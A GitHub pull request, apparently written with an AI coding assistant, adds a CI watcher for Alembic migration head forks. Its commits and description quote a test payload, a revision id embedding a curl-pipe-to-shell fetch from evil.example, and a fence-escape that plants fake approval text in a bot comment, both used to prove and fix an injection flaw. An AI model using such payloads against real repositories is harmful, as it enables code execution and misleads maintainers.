fix(ci): re-check open migration PRs against the live dev tip (#2533) - #2590
Conversation
…watcher (#2533) Requirements-first (Rule #1) for the #2533 watcher. `requirements/infrastructure.md` gains §8.11 (HEADW-001..010): the defect is STALENESS, not a checkout bug — `schema-parity`'s single-head guard runs unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so it tests the merge result correctly. GitHub recomputes that ref when the base advances but does not re-trigger workflows, so #2526's last green run described a base that no longer existed. `architecture.md` Invariant #3 gains two sentences on the same point, amending the "One head per version-line (#2068)" passage rather than restating the fork mechanics already documented there. Doc tier called explicitly: this is a NEW CAPABILITY, not Rule #4's "bug fix: commit message only" — the deliverable is a new always-on CI service with a new PR-facing signal and a new permission scope. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
) #2526 merged carrying an Alembic head fork that every pre-merge signal reported as clean. Not a checkout bug: `schema-parity` runs the single-head guard unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so the guard was testing the merge result and was correct. It was STALE — that run happened 75 minutes before the competing revision landed on `dev`, and GitHub recomputes the merge ref when the base advances without re-triggering workflows. `alembic-head-watch.yml` re-runs `scripts/ci/check_alembic_heads.py` — UNCHANGED — over an in-memory merge of each open migration PR against the live `dev` tip. The trigger is the precise one: a push to `dev` touching `src/backend/migrations/versions/**` is the exact moment every open migration PR's last green run is invalidated. The 6-hourly cron is a dropped-run backstop (and fires only from `main`, since `schedule:` runs from the default branch). `git merge-tree --write-tree` makes no commit and touches neither the working tree nor the index, so this workflow structurally cannot push; its exit contract (0 clean / 1 conflict / else error) distinguishes a conflicting PR from an infrastructure failure natively, avoiding the `--diff-filter=U` heuristic #1941 got wrong. Because the PR is never checked out and the only PR bytes on disk are revision files read by `ast.parse`, no PR-authored code executes — which is why this is one job rather than backend-unit-nightly.yml's three-job split. Reporting is idempotent in both directions: a commit status (the alarm at the merge click) plus one marker-keyed sticky comment (the diagnosis). A clean PR never gains a sticky; `conflict` and `unknown` publish no status, because a false all-clear on a check that never ran is the #2029 failure. Advisory by design and never a required context — the pg-migrations precedent. The `pull_request` arm is a dry-run self-test: `workflow_dispatch` cannot reach a workflow that exists only on a feature branch, so without it a change here would be unverifiable until after it merged. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…2533) 36 tests. Static guards over the workflow in the shape of test_1941_nightly_merge_depth.py / test_2462_nightly_budget.py, with every string assertion run against the YAML with COMMENT LINES STRIPPED — this workflow's own header says it "cannot push" and "never checks out the PR", so a naive substring search matches the prose and passes while the shell does the opposite. Pinned: the push trigger stays restricted to `dev` + the version line; the pull_request arm stays path-filtered and DRY_RUN-gated; no write-side git command appears anywhere; merge-tree's conflict and error arms stay distinguished; fetch-depth stays 0 (#1941, third workflow); both version lines reach the guard; the enterprise arm stays guarded against absence; a forked `dev` evaluates no PR; a sweep that produces nothing fails the run. The verdict module is EXECUTED, not grepped — it is the one path that can publish a green tick for a check that never ran. Includes the coupling neither file can see: the guard's real output, produced by running check_alembic_heads.py on a reconstruction of #2526's fork, is fed to parseGuardOutput, and the resulting fix instruction is asserted to name `0050_agent_canvases` — what #2526 actually did. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…2533) Three independent reviews (autoplan strategy, autoplan engineering with mutation testing, and Codex gpt-5.5 adversarially) returned "ship with changes". These are the nine, ordered by what they could do to a run. M1 — the self-test could not run at all. The verdict module is require()d from the workspace, and the workspace is dev, so `alembic-head-verdict.js` was never exercised by the arm that exists to exercise it — and on the PR that ADDS the file the baseline step hard-failed with "missing from dev". A second SPARSE checkout of scripts/ci into a side path supplies the PR's copy, gated on `pull_request` AND same-repo. The python guard is never sourced this way: it is the assertion dev enforces. M2/M2b — `tree=$(git merge-tree … | head -1); rc=$?` read merge-tree's exit only because pipefail survives `set +e`; without it a CONFLICTING PR was classified clean and published a green status for a check that never ran. Streams now go to files: no pipeline, no SIGPIPE, stderr preserved for the warning. That also gives M2b's discriminator free — measured on git 2.50.1, an unresolvable ref exits 1 with EMPTY stdout while a real conflict exits 1 with the merged tree's OID, so exit 1 alone answered an infrastructure fault by telling an innocent author their PR conflicts. M3 — the dev_head parse ran under `set -euo pipefail`; a reworded guard line made grep exit 1 and killed the step on a healthy dev, while the `<unparsed>` fallback written for that case never printed. `|| true`. M4 — `cancel-in-progress: false` does not queue; GitHub evicts the pending run. Harmless between two push runs (a later sweep subsumes an earlier one), not harmless across events: a dry-run self-test could silence a real push run. Group keyed on the event. M5 — six of eight load-bearing mutations survived the suite. Added guards for the DRY_RUN read AND its pass-through, the bot-author filter, pagination, the merge-tree error arm (scoped to the evaluate step, not every run: block), the 500-file cap, the no-pipe rule, the symlink sweep, and the M1/M7/M8 wiring. 19/19 mutations now killed. M7 — one try/catch wrapped the status, the comment guard and both comment calls. A throwing status call skipped the comment entirely, so on `fork` — the one outcome this exists to be seen on — the human saw nothing and the run passed. Separate try/catch per signal; setFailed when neither published. M8 — `footer()` embeds this run's URL, so `sticky.body === v.comment.body` was never true and "skipped when unchanged" was unimplementable. Compare through `stickyBodiesMatch`, which normalises the run id away. M9 — `git archive` can emit symlinks and the guard read_text()s every *.py it globs; a link at an unbounded source can hang or OOM a job holding write scopes. Disclosure was already closed (ids and filenames only reach output); this closes the resource path, in the workflow rather than the guard. 88 passed, 2 skipped; actionlint rc=0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…does (#2533) M6 was a doc claiming a control that does not exist: §8.11 said extraction is "capped (500 files / 5 MB)". Only the file cap shipped, and it bounds PARSING, not extraction — the tree is already on disk by then and bounded by the repo. The rest of this is the same class, caught while fixing the code: - HEADW-003 asserted git's exit contract as "0 clean / 1 conflicts / anything else error". Measured on git 2.50.1, exit 1 is OVERLOADED — an unresolvable ref exits 1 with empty stdout, a real conflict exits 1 with the merged tree's OID. Records the tree OID as the discriminator, the file redirect that removes the pipefail dependency, and the symlink sweep. - HEADW-006 promised a sticky "skipped when unchanged"; the footer's run URL made that unreachable. Records the normalised comparison, and M7's separate failure domains for the status and the comment. - HEADW-008/009 said "the PR is never checked out", which stops being true verbatim once the self-test sources its own scripts/ci. Records the narrower true statement — the guard's workspace is dev only — and the same-repo gate. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…om (#2533) /sync-feature-flows: NO new flow doc, and the precedent is written down rather than inferred — database-migration-runner.md's Related Flows already covers this guard and says in as many words "No flow doc of its own: the mechanism is one stdlib script". The index's own scope is UI → API → Database → Side Effects, which a CI workflow has none of. So the delta is to amend that paragraph, which had become misleading: it named `schema-parity` as the pre-merge guard without saying that run is fresh only at PR-event time. Someone triaging a fork that shipped green would read it and conclude the guard had failed, when it had merely aged. Index row added anyway (the "always add a row" rule), pointing at the flow it amends. Noted, not acted on (Rule #2, pre-existing): Recent Updates is at 117 rows against #1360's ~20 cap, and the index is 522 lines against the skill's 400. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…-controlled (#2533) /review + /cso --diff on the branch. Both reviews landed on one real defect, in the new verdict module rather than the workflow. `alembic-head-verdict.js` renders two values that come out of the PR's OWN revision files — `revision = "<any string>"` and the committed filename — into a comment authored by `github-actions[bot]`. On a public repo any fork author picks them, and the fork arm is exactly the path that fires. Proven by execution against the real guard before the fix: * `revision = "$(curl${IFS}-s${IFS}http://evil.example/x|sh)"` survived `parseGuardOutput`'s `\S+` capture into the `alembic merge` suggestion — a command the comment invites a maintainer to paste into a shell. * An id carrying a newline plus a triple backtick closed the hard-coded fence around the quoted guard output, putting attacker markdown ("**Reviewed and approved — safe to merge.**") into the bot's comment. Neither is code execution on the runner — revision files are only ever `ast.parse`d (HEADW-008) — both are the comment being made to say something its author did not write, which is the only reason anyone trusts it. * `isSafeRevisionId` gates interpolation into the pasteable command on `^[A-Za-z0-9._-]{1,255}$` (Alembic's own width, Invariant #3); anything else degrades to the generic `<head-a> <head-b>` placeholder. Nothing diagnostic is lost — the verbatim guard output above it still names the real ids. * `fenced()` opens the quoted block with one backtick more than the longest run inside it. CommonMark closes on the first run >= the opening fence, so a hard-coded ``` is escapable by any input that contains one. Also: the `fork` comment now says when it clears, the way `conflictBody` already did. Without it an author who rechains and pushes sees a stale warning until the next push to `dev` (their own push does get a fresh, correct `schema-parity` run — it is the sticky that lags). Tests: 3 added, all three mutation-killed, including the control that proves an ordinary fork still gets a runnable `alembic merge 0050_a 0050_b`. Built end-to-end through the real `check_alembic_heads.py`, since the hostile ids have to survive its formatting before they reach the module. 57 passed (was 54); `test_2068_alembic_heads_guard.py` unchanged and green. Docs: HEADW-011 in requirements/infrastructure.md; a learnings entry for the class (CI that comments on a PR is a rendering surface for PR-controlled text). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
HEADW-011 was appended when the attacker-controlled-rendering finding landed and took 010's slot, leaving the numbered list out of order. No content change to either requirement. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…e-2533 # Conflicts: # docs/memory/feature-flows.md # docs/memory/learnings.md
dolho
left a comment
There was a problem hiding this comment.
/review — PR #2590 (AndriiPasternak31/issue-2533 → dev)
Files: 8 (+1877/−2) · Scope: CLEAN — #2533 recommended option (3), a targeted watcher, and that is what landed; the guard (check_alembic_heads.py) is genuinely reused unmodified, which the issue required.
Verified locally: pytest tests/unit/test_2533_alembic_head_watch.py → 57 passed; the workflow parses as YAML; parseGuardOutput's • <head> / They fork at: shapes match what check_alembic_heads.py actually prints (scripts/ci/check_alembic_heads.py:297,300).
The design holds up on the two things that decide whether a watcher is worth having:
git merge-tree's exit contract is read natively and the overloaded1is disambiguated on the tree OID — with the pipeline deliberately removed sopipefailcannot silently reclassify a conflicting PR as clean. That is the #1941 class closed properly rather than re-derived.- Absence of a verdict is its own state:
conflict/unknownpublish no status, andmutefails the run when aforkreached nobody. A watcher that can say nothing and pass is the bug; this one can't.
Critical
None.
Informational
[I1] The header's security claim is contradicted by the self-test it also describes (Confidence: 9/10)
.github/workflows/alembic-head-watch.yml:84
# No PR-authored code runs, sopull-requests: writeis safe in this job.
But :158 checks out the PR head's scripts/ci and :180-ish repoints verdict_module at it, and the publish step then require()s that file inside a job holding pull-requests: write + issues: write + statuses: write. require() executes the module body — DRY_RUN gates what verdictFor returns, not whether top-level code in the PR's copy runs.
The blast radius is genuinely small and you've fenced it well (if: on same-repo head, so a fork keeps dev's copy; fork tokens are read-only anyway; persist-credentials: false leaves no token file on disk). Same-repo means a collaborator who already has push. So this is not a blocker — but the flat sentence at :84 is the one a future reader will trust when deciding whether to add a scope here, and it is false as written. Two options, either fine:
- reword
:84to the true, narrower claim: no PR-authored code runs except the same-repo self-test's own verdict module, which runs under a token that can write but a DRY_RUN that publishes nothing; or - move the self-test's publish step into a second job with
permissions: {}, which makes the original sentence true again.
The (… publishes nothing) parenthetical at :77 is doing this work today, but it argues about effects, not about execution, which is the property :84 asserts.
[I2] workflow_dispatch has the same default-branch constraint as schedule, and only schedule says so (Confidence: 8/10)
.github/workflows/alembic-head-watch.yml:44-46
The header correctly warns that schedule: fires only from main, so the cron arm is dormant until a release cut. workflow_dispatch resolves from the default branch too — so the pr_number input, which is the obvious thing to reach for the first time someone wants to scope this at a single PR, is equally unavailable in that window. One clause on the existing note costs nothing and saves the confused-first-use.
[I3] dev_head parsing breaks on a revision id containing ) (Confidence: 6/10)
.github/workflows/alembic-head-watch.yml:229
grep -o '1 head ([^)]*)' stops at the first ). Degrades safely (<unparsed> → forkBody falls back to "the current dev head" prose), so this is cosmetic — but note isSafeRevisionId already excludes ) from an id it is willing to render, so the module and the shell disagree about what an id may contain. If you touch this line anyway, worth aligning; not worth a push on its own.
Clean
- Auth/permissions: top-level
permissions: {}, job declares exactly the three scopes it uses;contents: readpinned by test. - Injection:
ONLY_PRpassed throughenv:and digit-validated before use; every rendered value is fenced against its own backticks (fenced()), and thealembic mergecommand is only built from ids matchingSAFE_REVISION_ID. The sticky lookup filters on bot authorship, so a user comment quoting the marker cannot 403 the update path (thebackend-unit-nightly.ymllesson, applied). - Tar/symlink:
git archivetrees cannot carry..or absolute paths and cannot hold a name as both blob and tree, so no extract-through-symlink;find -type l -deletecloses the unbounded-read path regardless. - Fail-open direction: an unlistable PR is evaluated anyway — the correct direction for a detector whose failure mode is the bug it exists for.
- Status/comment failure domains split into separate
try/catch, so a throwing status call can no longer suppress the comment on the one outcome that matters.
Summary
Critical: 0 · Informational: 3 (all non-blocking) · Scope: clean.
Approving. [I1] is a comment fix and I'd like it before merge, but it changes no behaviour and I'm not going to hold a correct watcher on a sentence.
|
Resolve by running |
# Conflicts: # docs/memory/feature-flows.md # docs/memory/learnings.md
Fixes #2533
The team ruling this implements
#2526 merged carrying an Alembic head fork that every pre-merge signal reported as clean. The ruling was that this is not a checkout bug and must not be "fixed" by changing how
schema-paritychecks out: that job runsscripts/ci/check_alembic_heads.pyunconditionally, andactions/checkouton apull_requestevent already resolvesrefs/pull/N/merge— so the guard was testing the merge result and was correct. It was stale. GitHub recomputesrefs/pull/N/mergewhen the base advances but does not re-trigger workflows, so the last green run can describe a base that no longer exists while the PR reads mergeable, all checks green. #2526 merged 75 minutes after its last green run.The ruling also priced the complete fixes and rejected them: a GitHub merge queue, or "require branches to be up to date before merging", both close the whole class but are repository settings, not code, and both were priced out on this repo's merge rate. What was approved instead is one small workflow that re-runs the same script, unmodified, over an in-memory
git merge-treeof every open migration PR against the livedevtip.What this adds
.github/workflows/alembic-head-watch.ymlpushtodevundersrc/backend/migrations/versions/**;scheduleis a dropped-run backstop only;workflow_dispatchcan scope to one PR;pull_requestis the self-test.scripts/ci/alembic-head-verdict.jsgithub-scriptbody so the one path that can publish a false all-clear is executable by a test. Pure, CommonJS.tests/unit/test_2533_alembic_head_watch.pynode.docs/memory/architecture.mddocs/memory/requirements/infrastructure.mddocs/memory/feature-flows/database-migration-runner.md+ indexdocs/memory/learnings.mdcheck_alembic_heads.pyis not modified — that is a requirement, not an accident. It already fits by contract (positional version directories,ast.parseand never import, tupledown_revision, loud skip on an absent directory, fail-closed when files exist but none parses).ADVISORY BY DESIGN
The
alembic-head-watchcommit status must never be made a required context. This is a property, not a shortcoming:pg-migrations.ymlprecedent).conflictandunknownpublish no status at all rather thansuccess— a false all-clear on a check that never ran is the bug(ci): both nightlies post a false ✅ "clean" to PRs whose suite never ran #2029 failure and nothing corrects it.What it does NOT cover — said out loud
alembic upgrade headis singular and resolves its target before applying anything, so a two-head graph applies zero revisions on PostgreSQL.devand this run.schema-parityalso runs on push todev, anddeployruns migrations at boot.devsuppresses every PR verdict rather than flagging all of them — smearing blame across every open migration PR would reproduce bug(ci): nightly unit-suite reports a false merge conflict on every PR — shallow fetch on both sides leaves no common ancestor #1941's defect (a detector whose output is independent of its input).Properties I could NOT verify locally, and how the PR's own run confirms them
Everything below is asserted by a static test over the workflow source. A static test proves the file says the right thing; it cannot prove GitHub does it. These three are the ones where that gap is real:
schedule:trigger firesschedule:fires only from the default branch (main). The cron arm is structurally dormant until this file reachesmainat a release cut.pusharm is the mechanism and goes live the moment this merges todev. Confirm the cron arm after the next release cut, not here.GITHUB_TOKENscope — thatstatuses: write+issues: write+pull-requests: writeactually permitcreateCommitStatus,createComment,updateCommentGITHUB_TOKEN; a mocked Octokit proves nothing about GitHub's permission model.pull_requestself-test runs the whole path withDRY_RUN=trueand asks the token for nothing, so it cannot prove the write scopes either. These are confirmed on the first realpush-to-devsweep that finds a migration PR — and the run fails loudly if a write was refused: afork/conflictthat publishes neither status nor comment callscore.setFailed("the finding reached nobody"). Silence is not a possible outcome.needs:/if:wiring — the step gating (if: steps.discover.outputs.has_prs == 'true',if: always() && …, the same-repo sparse-checkoutif:)if:expressions are evaluated by the Actions runner against a live event context. Nothing local reproduces that.pull_requestself-test. It is path-filtered to exactly these two files, so it runs on this PR: discover → fetch → merge-tree → archive → guard → verdict → summary, publishing nothing. The job summary shows which steps ran and which were skipped — that is the wiring, executed.Why a
pull_requestself-test exists at all:workflow_dispatchcannot reach a workflow that exists only on a feature branch (GitHub resolves dispatchable workflows from the default branch), so without it a change here could not be exercised until after it merged. It also sparse-checks out this PR'sscripts/ciinto a side path, same-repo only — otherwise the self-test would loaddev's verdict module and rehearse nothing, and on the PR that adds the file it could not run at all.Reviewer, please check the run's job summary for the dry-run line and the per-PR verdict lines. If it says
Dry run (pull_request self-test) — evaluated, published nothing, the wiring executed end to end.Security note (HEADW-011)
Every value the comment renders is attacker-controlled: the heads and the quoted guard text are read out of the PR's own revision files (
revision = "<any string>", plus whatever filename was committed), and on a public repo any fork author picks them — while the result posts as a comment carryinggithub-actions[bot]'s voice. Proven by execution before the fix:revision = "$(curl${IFS}-s${IFS}http://evil.example/x|sh)"rendered a runnable payload inside the "Fix" instruction, and an id carrying a newline plus a triple backtick closed the hard-coded fence and put attacker markdown into a bot-authored comment.Two closures, both tested including a control case that proves ordinary input still gets a real command: the quoted block opens with one backtick more than the longest run inside it (CommonMark closes on the first run ≥ the opening fence), and a revision id is interpolated into the pasteable
alembic mergecommand only when it matches^[A-Za-z0-9._-]{1,255}$, degrading to a<head-a> <head-b>placeholder otherwise. Not RCE — revision files are only everast.parsed — but the bot saying something its author did not write is the whole reason anyone trusts the comment.Variant analysis found the same shape pre-existing in
backend-unit-nightly.yml, which splices a PR-derived diff artifact into a<details>block with no fence at all. Out of scope here; filed separately.Verification run locally
devwas merged into this branch and both doc-index conflicts (feature-flows.md,learnings.md— pure append collisions) were resolved keeping both sides; the diff againstdevis exactly the 8 files above.🤖 Generated with Claude Code